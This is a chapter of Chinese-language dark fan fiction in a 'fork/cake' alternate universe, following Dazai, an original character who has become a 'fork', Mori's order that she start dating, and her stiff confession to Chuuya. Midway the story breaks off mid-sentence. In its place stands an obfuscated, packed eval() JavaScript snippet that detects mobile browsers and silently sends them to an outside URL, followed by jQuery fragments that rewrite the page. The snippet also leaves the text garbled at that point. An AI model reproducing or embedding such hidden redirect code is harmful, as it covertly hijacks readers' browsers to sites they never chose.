136.fork 榆 X cake宰 其二[番外]
作品:《什么?上司居然是我的唯一天敌?》 预警等在(其一)无意义可跳过的独立番外,谨慎阅读。
6.
于战场上见证二人亲密互动的下属极为震惊。
那位Mafia史上最年轻也最叫人忌惮的干部软和乖巧地任人包扎,得知这个事实,木村凉太的大脑如凌晨响起的闹钟般被摆锤敲击得发颤。
和众人猜想不同的是,他并非因太宰治那不同寻常的态度而震惊。
而是……
*
今日领带绝对打得太紧,否则为何我竟如此如鲠在喉?
木村凉太的目光自太宰治身上移向上司那鲜有波动的眉眼,内心呐喊:您为何还未发现他喜欢您啊!!
绷紧面皮,木村凉太将他随身携带着的医疗箱内药品从容递给沈庭榆。
上司的眼眸黑沉幽深,视线死死咬住太宰臂上染血的绷带,她缓慢地抬起一只手,掌心摊开正朝着木村凉太。
张开的五指苍白到刺目,细琐黑裂痕混进乌青血管蜿蜒指骨,殷红血水自圆润标志的指尖顺着轮廓侵入掌心。
可以窥到埋藏在大衣袖间翻滚涌动着的黑暗:那是贴敷着肌肤的触手。
宛若死人的手攥紧茶色玻璃瓶,如此简单普通的动作被她做得优雅异常。
莫名地,木村凉太这此刻产生了错觉:沈庭榆所握并非是塞满药棉的瓶——而是锋利到仅凭寒芒就可刮破血肉的银餐刀。
为什么是餐刀……?
未等木村凉太弄清这莫名既视感出现的缘由,气息浅淡到快要融进空气的少女微侧过头,鸦黑发丝随之微蜷,轻软地落出弧度,却莫名叫人联想起毒蛇做出捕猎前兆。
沈庭榆掩埋在蛇窝里的眼瞥给他一瞬,一向安和视线含有警告意味,难得带着重量。仅仅如此,木村凉太就觉得周围的气温降下几度,顷刻间寒意蔓延脊椎,刺冷得毛骨悚然。
心脏骤然被攥紧,木村凉太瞬间退远二人,低下头,不敢僭越地去望他们——或者不去望太宰治手臂上的伤。
纱布摩擦皮肤,耳边传来绷带被拆解的声响。
或许是由于龙头战争过于惨烈,最近沈庭榆身上的气息变得越发瘆人,偏偏此人极其擅长伪装,导致除去她的直系下属外,旁人对这种变化一无所觉。
渡边身为非异能力者被禁令参与斗争,加上先前的人事变动,导致木村凉太只得独自淋着雨。
听着沈庭榆为太宰治包扎发出的声响,木村凉太垂着头,心生绝望:您为何还未发现您也喜欢他啊!
他祈祷爱情可以把自家上司变回正常。
7.
龙头战争前,夏日,意大利南部。
空气被高温炙烤到扭曲,煎锅里滋滋作响焦化的砂糖般,柏油路开始融化。
躲在富有文艺气息建筑阴影下乘凉的少年,即使在这样炎热的日子依然穿着精裁黑西装,精致面孔半边被绷带遮盖,冷调的暗色衬得他肤色越发瓷白。
分明是厚重的穿搭,瞧着无端给人阴凉感,驱散暑气。
与敌人在这种头脑都要被热化掉流走的地方斡旋,太宰治只觉得烦躁无比。
伫在他身边的新属下显然也被热的够呛,边绝望流汗边蹭着他身上散发出的冷气解暑,这一刻他们脑中都滑过一个念想:谁规定的Mafia工作服是黑西装的啊。
无线耳麦传来讯息,周遭和热空气抗衡的冷意沉顿片刻,随后渐渐消解。
“哎呀,完工完工!终于可以回总部啦。”
太宰治抬手摘掉耳麦,眉眼舒展,扭头望着身边情绪骤然低落的下属,他挑起眉:“欸?感觉你兴致不高啊,莫非你是在眷恋这里?”
不愿意回Mafia总部,在此有未完成的目的?脑海中飞快闪过这人近期的行径,太宰治推算着他身上会有的疑点。
「和太宰交流不要说谎,直率就好。」
沈庭榆的话回荡在耳畔,于是那位属下老实回应:“不,我是在眷恋您身上刚刚散发出的冷空气。”
实在出乎意料的话叫太宰治哽住了,他瞪起眼:“你是把我当做制冷空调了吗?”
确认他是在真情实感的这样认为后,太宰半晌,喃喃道:“该说什么好……不愧曾是她下属吗?脑回路如出一辙的怪异。”
*
为了制衡权利,顺便互相监视,干部之间的属下有时会互相调动,太宰身边的这位就是刚从沈庭榆调过来的。
临行前太宰治看着他像是嘱咐女儿一样对着跟在他身后的沈庭榆碎碎念念:「您要注意身体,不可以在暗影里只露出头和触手来吓人,不要熬夜,按时吃饭。」
沈庭榆面无表情地听着,最后缓慢点了下头。
看见好像她听进去了,这位下属猛回头,做出大义凛然英勇就义的模样,眼神坚定地迈向自己,鞠躬道:「初次见面,太宰干部您好,我的名字是柏原隼,今后给您添麻烦了。」
柏原隼,Mafia高级职员。其异能力为「鹰眼」,在游击队内主担任狙击手,体术即使在人才辈出的港.黑也称得上出彩,是沈庭榆被调离森鸥外直属的特别任务班后获得的第一批下属。
Port Mafia在意大利设立的分部在本地位置尴尬,群狼环伺,行动谨小慎微到说是如履薄冰也不为过,为扩张势力,太宰治被派去支援。
此次出差风险系数不低,上方派发柏原隼随太宰治一同前行,负责贴身保护干部。
按理说这样一件小事根本犯不着两大干部亲自会面进行交接,然而沈庭榆就是出现了。这个事实莫名叫太宰心底发酸。
不过普通的人事变动,犯得着干部亲自来交接?这是在向自己宣告她对这个人的重视?
明明对他一句嘱咐都没有,连「注意安全」这样的话都不再说。
望着怎么看怎么像是来送人的沈庭榆,太宰治在心底嗤笑:这么重视干嘛不冲到森鸥外的办公室把人要回去?
怎么,想让他安排保护免得柏原隼客死他乡?
红枫色泽的眼紧盯着身前棕发男人头顶的发旋,太宰治神色不虞,只觉得沈庭榆真是拎不清,要求干部反过来保护下属简直倒反天罡。
丝毫没有开口让还在对自己鞠着躬的男人抬起身的意思,回想刚刚二人相处的模样,太宰治窥着沈庭榆现在骤然软化的、甚至显露出几分神采的神情,在心底冷笑:这样喋喋不休喧宾夺主的下属你也看重,怎么就这么喜欢被人管着?
这人身份可不那么简单啊,是没看出来还是又是那样无所谓呢?
注意到太宰没有让柏原隼直起身的意思,看穿他眼底泛着不悦与冷意,沈庭榆压下见到他后心底升起的那点柔和的喜悦,微蹙起眉。
名义上柏原隼现在的上司是太宰治,无论对方是叛徒还是怎么样,明面上她没立场多问什么,何况她赶时间。
但是……
沈庭榆沉默的看着自己身前的路,心说后勤能不能上报扩建一下,为什么唯独这里这么窄。
这行径落在太宰治眼里:手握文件夹的少女歪了下头,眼神越发复杂,意识到他态度恶劣,她几次张嘴似乎想说什么,最后又放弃了,只是停下脚步和他无声对峙。
太宰治眯起眼,按捺住眼底翻滚的恶意,心想:你要是开口求我的话也不是不能考虑……
然而尚未等他说出尖酸刻薄的话语,沈庭榆蹙着眉,身形逐渐被脚下漆黑的暗影吞没,彻底消失前,她眼神古怪地看了太宰治一眼。
暗影悠悠滑行,贴着墙角消失了。
太宰治:……
“你堵在这里做什么?”中原中也扶着帽子自拐角出现,注意到这莫名的氛围,他疑惑发问。
在看清景象后,中也蔚蓝的眼睁圆:
“不是吧太宰,你是在给人下马威?什么时候你也会做这么幼稚的事情了?”
中原中也啧啧称奇:“算了,谁能搞懂你想做什么,麻烦换个地方折磨人,这里建的也太窄了。”
太宰治瞥了他一眼,环顾四周,自己和柏原隼正巧把走廊通道堵住了。
周遭想要通过此处的成员贴心地和他们拉开距离,免得听到机密,安静等待着他们结束对话后再通行。
太宰解读出沈庭榆刚刚那眼的含义:你为什么要站在这里挡路,既不说话也不动?
压根懒得多解释,太宰治颔首,随后转身离开,黑风衣摆划破空气,铸就距离。
获得隐晦首肯,柏原隼淡定起身,亦步亦趋地跟在他身后,解释道:“榆大人被首领传唤。”
意思是:他们仅是顺路。
获得某种答案,太宰治眯起眼,近乎是瞬间,几个计划在脑海中成型。
*
“您有打算给榆大人带些本地特产回去吗?”
二人并肩走在意大利街头,预备着回到分部乘机离开。就在路过一家手工面具店时,柏原隼突然发问。
“欸~我为什么要做这样没意义的事情?”太宰治懒懒地应,夕阳将他们的影子拉得很长,他话锋一转,语气夹着莫名的森意:“莫非是BOSS希望我这样做?”
太宰治突然停下脚步,半边脸埋没在阴影中,微笑着扭头看向柏原隼:“真是叫人难以理解啊,明明她现在状态没什么叫人好担心的吧?”
不必用情感将她捆绑在港口Mafia,也不必忧虑她会危及森鸥外的地位,那样整日恹恹像是没有明天的人,随意地决定落根在这里。
宛若被书本夹起的一只蝶,等待着纸张与她一同发潮阴湿,最后腐烂发霉、被虫驻食。
被看破前监视者身份,柏原隼丝毫不惊惶,只是摇了摇头:“不,这和首领的指示无关,仅是我个人建议。因为榆大人每次出国都会带回一些伴手礼给我们和她的朋友,我猜她也会给您准备。”
“所以我才会问您是否想给她带些回礼?”柏原隼柔和笑笑,“榆大人一定会很高兴的。”
太宰治罕见地没有出声反驳,似乎在思考可行性。
柏原隼再接再厉,试探开口:“比如面具、手链这类?”
发丝微卷的少年没有回答他的话,目光深幽而不见底,突然转变话题:“我在想啊,森先生把你派给我的目的究竟是什么呢?”
“您不是已经知道了吗?”柏原隼不解地问道。
越往欧美,fork的数量就越多且精神状态更疯狂,与之相反的,cake的处境就更危险。
但有时「危险」也可以造就机会。
得益于横滨某位不知名的倒霉fork的勇敢袭击,太宰治很早就知道自己是个cake,并且对于自己这层身份以及fork无比厌恶。
人类之间竟存在如此荒诞可笑的捕食关系。cake被fork革除人籍,视为砧板上肆意吞食的菜品。而fork就更加可悲可笑,一旦尝过普通cake的血就会野兽般被只被欲望支配着行动,几十年正常人的生活在分化后一朝破碎——流离失所人间失格。
完全无法理解其存在的意义。
太宰治维持着公式化的笑容,他的面孔彻底被阴影笼罩,满眼厌趣乏味,不屑地哼笑着:“啊,对,我知道的。”
“因为我是个cake,这可真叫人恶心。”
聪明人所怕的两类人:疯子和蠢货。
这类人往往是他们计划中的变量,因为没人能预测到对方下一步的动作。
而绝大多数开荤破戒的fork身上都存在这两种令人头疼的气质,柏原隼是被派来甄除变量、并协助太宰治进行斩首计划的人。
在加入港口黑手党前,他在fork之间流传着响亮的名号——“折刀者。”
能够一眼甄别出埋藏在人群之中的fork,一枪必杀。专门剿灭fork的杀手。
诱饵、捕手一应俱全,扣下敌方首领的首级,然后吃掉散成一盘沙的组织。就是这样粗陋的计划,却因cake对fork致命般的吸引力而成功。
“嗨呀,本来我还在疑惑为什么自己会被西西里的头狼突然盯上,对方那热情扭曲的欲念实在叫我害怕。被男人这样追求索要的经历真的太糟糕了啊……”
太宰治装模装样地感慨抱怨着,好似指挥柏原隼、制定计划的人不是他一般。
“差点以为对方是同性恋,那可完蛋啦!好在那不过是个把周遭cake都吃干净后被馋到疯掉的fork,不然这经历传出去非得被小矮人笑话死。”
面具店的大门被少年打开,门上的风铃发出悦耳的声响,这家店专卖威尼斯面具中的Colombina类,忽视身边柏原隼揶揄的眼神,太宰治拿起一个半遮脸面具,语气悠然:“柏原有着厉害的能力呢,不仅看透对方是个fork,还能在那样远而混乱的场景下击毙对方。”
“这独特的分辨能力可不像异能力会有的作用,想必是你本身的「才能」吧?”
柏原隼诚实点头,毕竟撒谎又没有用。
被少年持在手中的面具由黑皮革刻成,皮面植绒,繁复花纹钩织成蝴蝶翅膀两侧展开,细碎水晶点缀在狭长的眼部弧线上。仿蕾丝加上镂空工艺叫整张面具显得轻盈漂亮,又带了点不清不明的精致妩媚。
“不过……有一件事很叫我好奇呢,”太宰治垂眸,漫不经心地欣赏着面具,随后把它抬到与自己眼眸高度相等的地方,转身面向柏原隼。
店里每一面墙壁上都覆盖着红纸,华丽而风格迥异的面具近乎把红墙覆满,昏昧的光打在每一张面具上,它们把太宰治围绕在中央,这让他显得像舞台聚光灯下,性情不定又魅惑人心的男主演。
暗鸢虹膜透过人那精美而散发诡气的面具眼眶望着柏原隼。似猎枪透碎鸟儿躯体,地面溅落着被风干涸的一斑血迹。
鸱目虎吻,柏原隼莫名想起这个词汇。
察觉到猎物竭力掩埋的紧张,恶劣的猫咪被激起兴趣,用锋利钩爪剖玩儿着濒死鸟的躯体。
太宰治用嚼着蜜般齁而腻的声线发问:
“柏原君,最初是为什么会成为小榆的下属呢?”
8.
和数量稀少的fork不同,cake的数量其实很多。毕竟他们和普通人别无二致,只要不被fork袭击,许多cake终其一生都不会知晓自己的身份。
随着基因扩散、又或者什么缘由,cake在人类数量中的占比已经达到了惊人的十分之一,越往欧美方向统计,cake的数量就越少,这和宗教、开方国家“纵欲”的生活理念、对fork的搜捕力度以及大众对于fork的接受程度有关。
某几个国家民众在fork政客操控下甚至对这类群体心生怜悯——「他们也不想吃人的啊!可是只有这样他们才能尝到不同的味道。」
谢谢你们的体恤,只不过如果你们是cake而非普通人,说这话会更不叫人觉得高高在上一些。
慷他人之慨确实简单,反正死的不是他们。fork可以从普通食物中获取能量,不吃cake不会死。
又不是东京X种(虽然我有触手?)
龙头战争结束后,认知力减弱、情绪异常,睡眠障碍,我出现了精神分裂的前兆。负面情绪积压,偶然我会有很糟糕的念头,它们像是声音在心底对我进行诱导。
比如明明下属只是正常在和我交流,然而莫名其妙的,我会想象着他突然被我杀死、血肉混杂着肠子流淌满地的模样。
最极端时,没有任何缘由,会想自己杀死珍视的所有人,然后欣赏崩塌的一切。
我总幻想把事情弄得非常糟糕,然后破罐子破摔地享受着「太好了,终于彻底完蛋啦!」的绝望场面——都烂成这样了,努力维持仅剩无几的可怜自我有什么用?累啊累啊,收拾收拾轻松去死啦!
这很危险,比起最初成为fork,在察觉到自己在逐步走向溃败时心中所期望的、直接而干脆的死亡,现在的我更想造成毁灭进行泄愤,然后再奔赴黄泉。
然而无语的是,如果仅因残酷而麻痹心灵的杀戮而出现此类情绪疾病倒也还好,非常丢人的说,我有被太宰馋成这样的因素在。
“柏原隼,儿时家庭美满,就在他八岁时。父亲分化为罕见人群fork,并袭击了其身为cake的母亲。”
背对着我的男人,站在办公桌后,用着沉稳无比的声线阐述着我已经知晓的事。
这个呆板、听话,能力突出的下属,是用来监视我的,这件事我一开始就知道。只不过在分化为fork前,我不清楚他还有着辨别我身份的作用。
“放学回家的柏原隼,推开门望见的不是面带和煦笑容迎接自己的父母,而是自己父亲用牙咬开母亲脖颈后,撕咬吞噬其尸体的惨烈景象。”
喔,原来如此。我点头,接过森鸥外的话:“于是自那以后,他便获得了这样的能力——可以看出谁是fork和cake。”
并非异能力,而是类似于“冷血”那样可以得知有人发动异能力的野兽般的直觉。
并且出于创伤和憎恨,他开始捕杀fork。
“森先生,看来您早就得知我会分化为fork了啊,是实验室的报告吧,看来您掩藏了一部分啊。”
森鸥外回头望着我,面上罕见的带着严肃:“没错,不过我仅掩藏了你fork身份这一部分。”
注意到他说话变得爽快了些,这让我舒服很多。
“小榆,实际上在实验室你便已经完成了分化,然而异能力导致你的状态被回溯了。”
“出于你特殊的特异点身份,「时间回溯」的异能作用发生紊乱,导致你本该在25岁左右进行的二次分化提前了。”
二次分化?
他这话说的让我想起了看过的某本小说中的ABO世界观,莫名笑出来声,深觉自己命苦。
“好的,好的。我明白了,所以您把柏原隼调给我,是叫他看着我是否暗中分化为fork。”
“然而在龙头战争过后,我们再次见面时他就发觉了我的身份,然后上报给你。”
我开始鼓掌,森鸥外泛着暗光的绛紫眼眸一瞬不瞬地盯着我。
任他打量,随便吧都随便吧。
大脑被切割成两部分,一方说:你冷静点,另一方说:和他爆了。
触手又开始蠢蠢欲动了,噗啦一下散落满地,森鸥外狐狸样眯起的眼微微睁大,我把触手们抱起来,敷衍道歉:“不好意思,控制不住。”
这时候把他杀了得了,和太宰治决裂,和中也决裂,被曾经的下属、朋友们追杀,让横滨地下组织开始动乱。
“我实在懒得和谁虚与委蛇了,弃子也好收容也罢,能不能给我个准话——所以您现在是想怎样?”
森鸥外到底要做什么?
直接把我身份宣告大众?让我被联合追杀又或者寻求某个组织的庇护?
还是想威胁我去帮他做什么事?
好烦。
我知道森鸥外想告诉的局势:高层cake只会被fork更多,知道我是后者,他们在思考利用的同时多半要被吓破胆,然后慌不择路地发布脑残施令。
十分之一的人类啊,足够成为冠冕堂皇围捕我的理由。
好久违的,我终于重获了这种杀机四伏的危机感。
真的很有意思,抱着无望的思乡之情进行疯狂又自由的一番胡闹,最后死在太宰怀里。
凄美、壮烈又诗意的谢幕,我真的开始感兴趣了。
“小榆,我希望你能够找到自己命定的——”
“就是太宰治,因为他的异能力我不可能吃他。”
否则谁来帮我解脱?
还有就是……
不知道还有什么,不想管。
我直接开口打断了森鸥外的话语,这是我第一次展露出忤逆他的意图,此时什么权利阶级归宿通通抛掷脑后,他越忌惮我越兴奋。
现在我无比期望他能够动手把我推向伸手不见五指的腹地,心脏因激动而怦怦直跳——终于能有人给我一个台阶、一个借口让我去这个神经病世界来场畅快淋漓的决斗了吗?而我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15413620|155924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不必为此担责——都是你的错。
森鸥外缄默下来,露出了极其复杂的神情,我不知道他又看出来什么,表情变幻莫测高深无比。
可能是在思考对策,这几天馋太宰治身体馋的快超出阈值了,我现在真有点疯疯癫癫。
而且不仅是太宰治,Mafia里还有别的cake,只不过他们都没有那样诱人。
类比一下:戒碳水几个月的健身社畜突然被告知团建聚餐,且餐厅菜品琳琅满目都是她爱吃的。
这谁能忍?
“小榆。”
我不知道森鸥外那精密而深不可测的大脑最终思考出个什么,但再听到他的话后,我觉得快疯的人不是我而是他。
因为我听见他说:
“你,去谈个恋爱吧。”
9.
森鸥外看似说的很简单离谱,其实想得非常很复杂。
自龙头战争以后,沈庭榆现在的状态,他能看出不对——因为她懒得对自己伪装。
她分化成了fork,并且状态因此越发糟糕。
抗药性导致精神药物对她作用极小,沈庭榆一旦患上精神类疾病,除去心理愈疗外没有别的治疗方法。
素食fork一旦破戒食用普通cake,压抑欲望的难度无异于登天——除非他们吃掉了自己的命定cake。
甚至有人把他们比作毒虫。
沈庭榆绝对不能开口吃人,最优解就是找到她命定的cake并服用,这样她还是普通的异能者。
结果她的命定cake是太宰治。
得知这个消息,即使是森鸥外都罕见得卡壳了一会儿。
最致命的毒最甜美的药,都是一个人。
森鸥外:……什么孽缘。
望着沈庭榆压抑得逐渐攀附上疯狂之意的眼,森鸥外回想着对方那除去工作和吃喝外空无一物的苦行僧般的生活,难得反思片刻,随后灵光乍现。
堵不如疏,口腹之欲不能满足,找别的发泄口不就好了?
他能够看出沈庭榆在逐渐扎根于港口Mafia,像中原中也一样把这里看做自己的归属,“R”被暗地解决后,她依然没有想离开港口黑手党。
有实力却没野心,如此好用的下属轻易抛弃实在可惜,异能特务科那边可以靠她制衡,因为现在的沈庭榆会同意,因此森鸥外没做他想。
然而出乎森鸥外预料的是,沈庭榆还是分化为了fork。
以她现在的状态显然不是想离开Mafia——而是同归于尽。
森鸥外:坏了。
如果最终的结局依然是失去的话,在此之前不如做些挽回尝试。
森鸥外能看出沈庭榆对太宰治那点微妙的心思——哪怕她自己一无所觉。
至于太宰治怎样想,哪怕是他也无法全然看透,不过对方表露出的对fork的厌恶却真切无比。
“太宰君不会知晓这些事情的,柏原隼被分配给你这件事明面伪装成类似于旗会于中也那样的普通监视,而非和fork、cake有关。”
但,暗地里对方能刺探到多少就不一定了。
这句话被他吞入腹中。
沈庭榆的情绪肉眼可见的好了不少,即使她心知肚明自己藏不了多久,办公室内原本风雨欲来的气氛依然因此松快很多。
很好,赌对了。
森鸥外双手交叠,迅速思考解决办法,最后以淡定的语气说出最离谱的话:“总之,小榆,去和不是cake的人谈恋爱试试吧。”
他不知道太宰治究竟是何想法,若对方真有意,以对方的手段结局无需他担心,只是情况绝对会变得非常非常糟糕……
死马当活马医,总归不会比现在更糟了。
若没有的话更好。
fork身份,沈庭榆并非没有解决办法,但那太难了。普通人控制自己欲望尚且困难,何况更改潜意识乃至扭曲人格呢?
自知与死神擦肩而过,差一步造就灾祸的男人微不可察的叹息道:
“从现在起,你放假了。”
此话一出,沈庭榆的情绪瞬间差了下去:“不要。”
不喜欢放假,因为无事可做,什么都好,她没有自己想做的事情。
有工作有任务,这叫她觉得自己好像在玩某种有意思的游戏,每天打卡般忙点事情,叫无聊的生活莫名延续下去。
森鸥外就是她的专属NPC,太宰治是专属毁档点。
森鸥外:……
他想小爱丽丝酱了。
森鸥外:“在找到对象后,我会审批恋情真实性,然后你就可以复工。”
他循循善诱:“把这看成任务如何?”
抱着触手的少女沉思良久,最后点点头:“行吧。”
10.
从首领办公室离开,沈庭榆叹了口气。
她对森鸥外抱着的那点心思一览无余,无非是想加深她和这个世界的联系,或者通过某些行为获得情绪反馈,维持稳定,顺带还可以找到自己的软肋。
尚且可以克制吃cake的欲望,沈庭榆是个很能忍的人,不过如今确实需要做些别的事情去转移注意力了。
恋爱吗?
沈庭榆自觉没有喜欢的人。
但这是个不错的尝试,而且很有趣——dokidoki!让爱情阻止恶魔毁灭世界吧!哈哈~
浮萍般漂泊无依!无欲无求,食人族兼灭世魔王预备役!最后竟然被爱情拯救啦!
这就是peace and love 的真谛?
沈庭榆真的对此感到期待了,她想瞧瞧这人人讴歌称颂的情感到底有多伟大?真就伟大到足以抵挡满腔无处宣泄的情绪?
没有理由不去试试,不过恋爱对象……
她自我检讨:自己是个精神不稳定的非正常人士,因此恋爱对象应该是一个强大、外向、勇敢、内核稳定爱好健康且看起来就像是会认真对待感情的人。
有合适的人选,虽然感情基础丁点不偏向恋爱,但没事,应该可以培养出所谓的爱情,然后通过森鸥外的审批。
暗影自地面涌现,沈庭榆的身影消失在地。
11.
「旧世界」台球厅。
中原中也紧握着拳,额角青筋突突直跳,钴蓝色的眼瞳死死盯着手中的文件,显然极其不耐烦。
耳麦里太宰治用着阴冷迫人的声音说着夹枪带棒的话语,怎么听这么像是心情不好,问他,他就冷笑一声:「哎呀,什么时候中也也会问出这样无聊的问题了?」然后继续吐黑泥。
中原中也:……没病吧这人。
似有所感,中原中也摘下头戴着的耳麦,回头看见沈庭榆从暗影里钻了出来。
对方黑沉的眼一眨不眨地看着他。
“中也,你在忙吗。”
听见她说话,耳麦里太宰治的声音戛然而止,只有细微的电流声传来,中原中也瞬间感觉耳聪目明,世界清净。
只是一些关于清扫战场的事情,不太重要,何况即使有也不必要避着沈庭榆,于是中原中也开口:“琐事罢了,发生了什么事?”
“中也,我希望你可以帮我一个小忙。这关乎到我还能不能有工作。”沈庭榆慢吞吞地说。
中原中也和耳麦另一端的太宰治神情瞬间严肃起来。
联想到今早她被首领传唤,中原中也蹙眉,心底滑过数个猜测,他站起身,把耳麦挂在脖子上:“什么忙,我现在就——”有空
“中也,如果你愿意的话,我们来谈恋爱吧。”
沈庭榆平和地说。
‘有空’两个字转到嘴边就被吞下,中原中也猛地闭上嘴,如同见到太宰治朝气蓬勃地说:「今天好美好!我要活下去!」般,瞬间瞪大了眼睛。
“如果中也你没有钟意的人,可以试试和我在一起。我觉得我们应该会很合得来?加上你我都尚且未定的寿命,或许我是个适合你的人选。”
沈庭榆似乎以为他在考虑,机器人推销商品般继续:“虽然我们是姐弟,但没有血缘关系,所以伦理上过得去。”
“Mafia很难厮守相望,但我不容易死也可以做到忠贞不渝地永远站在你身边,永不背叛。如果你需要完整的家庭,考虑到你我身份特殊,我们最好是收养孩子。总而言之,心里没有其他人的话,中也可以考虑一下我。”
大脑完全无法理解现状,中原中也颤抖着把手按在帽子上,这给他带来些许安全感。
沈庭榆轻而易举地做到了就连中原中也的敌人都未曾做到过的事情:让中原中也需要安全感。
驰骋海内外的重力使没有回答——因为他被吓到了。并且开始祈祷今天是四月一,这仅仅是沈庭榆开得一个不好笑而没品的愚人节恶作剧。
然而,比起被“沈庭榆用直白话语告白”这件事带来的惊吓,最叫中原中也惊恐的是:他看出沈庭榆是认真的。
即使用的是这种公办公事的语气,且不含一丝旖旎暧昧,连爱意都不存在,但——
中原中也看着她,恍惚间以为自己见到曾经的魏尔伦、不,某种意义上比那还要恐怖。
如此人机,达成任务般的“表白”,但沈庭榆竟然是认真的。
空气瞬间凝滞。
颈间,耳麦里一片寂静。良久,传来太宰平稳无比的声音:「中也,收到了不错的告白呢。」
太宰治用了悟的语气感慨着,即使隔着耳朵有不少的距离,中原中也却莫名觉得耳膜发震,他注意到沈庭榆在意识到通讯对面是太宰后,面色变得有些难看。
「真是、精彩至极,连家庭都考虑到了,实在叫我大吃一惊啊。」
「难·怪·啊,不让我去你的办公室。」
「沈庭榆。」
中原中也愣住:这是他陌生的语言。
太宰的嗓音明明淬着笑意,却被电流声噪得沁入冰水般,冰冷阴翳的没有一丝温度。
「我啊,打扰到你了,是吗?」